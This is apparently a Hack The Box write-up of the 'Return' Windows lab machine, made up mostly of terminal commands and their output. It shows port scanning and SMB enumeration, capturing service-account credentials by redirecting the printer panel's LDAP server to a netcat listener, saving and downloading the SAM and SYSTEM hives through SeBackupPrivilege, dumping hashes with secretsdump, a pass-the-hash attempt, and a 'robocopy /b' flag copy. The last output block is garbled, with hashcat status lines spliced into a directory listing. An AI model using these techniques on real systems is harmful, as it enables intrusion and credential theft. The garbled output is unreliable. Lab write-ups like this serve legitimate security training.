


RETURN



Return

Windows · Easy


0

Points

★★★★☆

4.4

84 Reviews



User Rated Difficulty

Play Machine

Machine Info

Walkthroughs

Reviews

Activity

Changelog

Official Writeup

US VIP 15

1 player

Target IP Address

10.10.11.108

23:58:01

```
(kali㉿kali)-[~/Desktop/htb]
└─$ sudo nmap -sS -Pn -T4 -p- return.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 12:47
Nmap scan report for return.htb (10.10.11.108)
Host is up (0.077s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49679/tcp open  unknown
49686/tcp open  unknown
```

From my initial scan I can see that this is a DC and that it has RPC,SMB and LDAP open so I will start by trying to enumerate these while running a more detailed scan on the background to see if I can get any extra information that may be useful.

Another thing I can see is that port 5985 is open which could provide me access to the system later on.

```
(kali@kali)-[~/Desktop/htb]
$ sudo nmap -sS -Pn -sV -sC -p445,135,389 return.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 12:50 EDT
Nmap scan report for return.htb (10.10.11.108)
Host is up (0.073s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
389/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: return.local0.,
445/tcp    open  microsoft-ds?
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m34s
|_smb2-security-mode:
|   3:1:1:
|_smb2-message signing enabled and required
|_smb2-time:
|   date: 2024-10-25T17:09:14
|_start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.35 seconds
```

There is a clock-skew this could be an issue later on if im dealing with Kerberos if this happens then I will have to sync my kali to the time that Kerberos has.

```
(kali@kali)-[~/Desktop/htb]
$ netexec smb return.htb -u '' -p '' --shares
SMB      10.10.11.108      445      PRINTER      [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER)
SMB      10.10.11.108      445      PRINTER      [+] return.local\:
SMB      10.10.11.108      445      PRINTER      [-] Error enumerating shares: STATUS_ACCESS_DENIED
```

```
(kali@kali)-[~/Desktop/htb]
$ netexec smb return.htb -u 'Guest' -p '' --shares
SMB      10.10.11.108      445      PRINTER      [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER)
SMB      10.10.11.108      445      PRINTER      [-] return.local\Guest: STATUS_ACCOUNT_DISABLED
```

The Guest account is disabled at the moment so now my next step is to use enum4linux-ng to try and enumerate further.

```
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: PRINTER
NetBIOS domain name: RETURN
DNS domain: return.local
FQDN: printer.return.local
Derived membership: domain member
Derived domain: RETURN
```

Enum4linux didn't really find much so now I will try to enumerate using kerberos.

```
(kali@kali)-[~]
$ impacket-GetNPUsers return.local/ -dc-ip 10.10.11.108 -request
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] Error in searchRequest → operationsError: 000004DC: LdapErr: DSID-0C090A37
0, v4563
```

Now I will try and use kerbrute. The domain is called return.local

I couldn't enumerate anything here. Now I will go into port 80 and see if there is anything there that calls my attention.

```
(kali@kali)-[/opt/tools]
$ whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][zz], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], Powered-By[PHP/7.4.13]
```

Settings

Server Address	<input type="text" value="printer.return.local"/>
Server Port	<input type="text" value="389"/>
Username	<input type="text" value="svc-printer"/>
Password	<input type="password" value="*****"/>
<input type="button" value="Update"/>	

I have full access to the printer admin.

valid user

svc-printer

Looking at the request using burp I was able to see how it was work

```
POST /settings.php HTTP/1.1
Host: printer.return.local
Content-Length: 23
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://printer.return.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://printer.return.local/settings.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

ip=printer.return.local
```

This made think as to what would happen if I passed my lp there and listened using ncat.

I received this

```
(kali@kali)-[~]
$ nc -lvnp 389
listening on [any] 389 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.108] 62086
0*\%return\svc-printer
1edFg43012 !! ^C
```

Username and password

return\svc-printer:1edFg43012!!

```
(kali@kali)-[~]
$ netexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012 !!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012 !!
```

This is not an admin account but it should be enough for me to enumerate the system

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeLoadDriverPrivilege	Load and unload device drivers	Enabled
SeSystemtimePrivilege	Change the system time	Enabled
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeRemoteShutdownPrivilege	Force shutdown from a remote system	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled
SeTimeZonePrivilege	Change the time zone	Enabled

I may not need to use bloodhound this time because I know this privilege can be exploited to dump the SAM.

<https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>

```
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system
The operation completed successfully.
```

Mode	LastWriteTime	Length	Name
-a	10/25/2024 11:12 AM	49152	sam
-a	10/25/2024 11:12 AM	15953920	system

Using the download functionality of evil-winrm I was able to download these 2 files

```
*Evil-WinRM* PS C:\Temp> download sam

Info: Downloading C:\Temp\sam to sam

Info: Download successful!
*Evil-WinRM* PS C:\Temp> download system

Info: Downloading C:\Temp\system to system

Info: Download successful!
```

Using secretsdump I was able to use both the sam and system file to get the local administrator password hash.

```
(kali@kali)-[~]
$ impacket-secretsdump -sam sam -system system local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up ...
```

```
[*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Now I can do a passthehash with the NT hash to gain access to the system.

```
(kali@kali)-[~]
$ netexec winrm 10.10.11.108 -u 'Administrator' -H '34386a771aaca697f447754e4863d38a'
WINRM 10.10.11.108 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
WINRM 10.10.11.108 5985 PRINTER [-] return.local\Administrator:34386a771aaca697f447754e4863d38a
```

I got played. For some reason this account is not authenticating. But that is ok because I can still abuse this with robocopy. robocopy is a file copy program in windows.

With these privileges I can use robocopy to copy the flag from their desktop into my own directory.

Using commands from here

<https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/privileges-abuse/sebackup-serestore>

```
*Evil-WinRM* PS C:\> robocopy /b C:\users\administrator\desktop C:\Temp
Session.....: hashcat
[+] C:\Temp\root.txt
```

```
Directory: C:\Temp Oct 25 20:32:54 2024 (4 secs)
Time.Estimated...: Fri Oct 25 20:32:58 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Mode.Base.....: LastWriteTime Length Name
-----
-ar---#1.... 10/25/2024 10:04 AM 34 root.txts:1
-a---red... 10/25/2024 11:12 AM 49152 sam(0.00%) D
-a---ss.... 10/25/2024 11:12 AM 15953920 system
Rejected.....: 0/14344385 (0.00%)
```

```
*Evil-WinRM* PS C:\Temp> cat root.txt
09cec92beefc9c3b2e14c07db5b9e26c
```

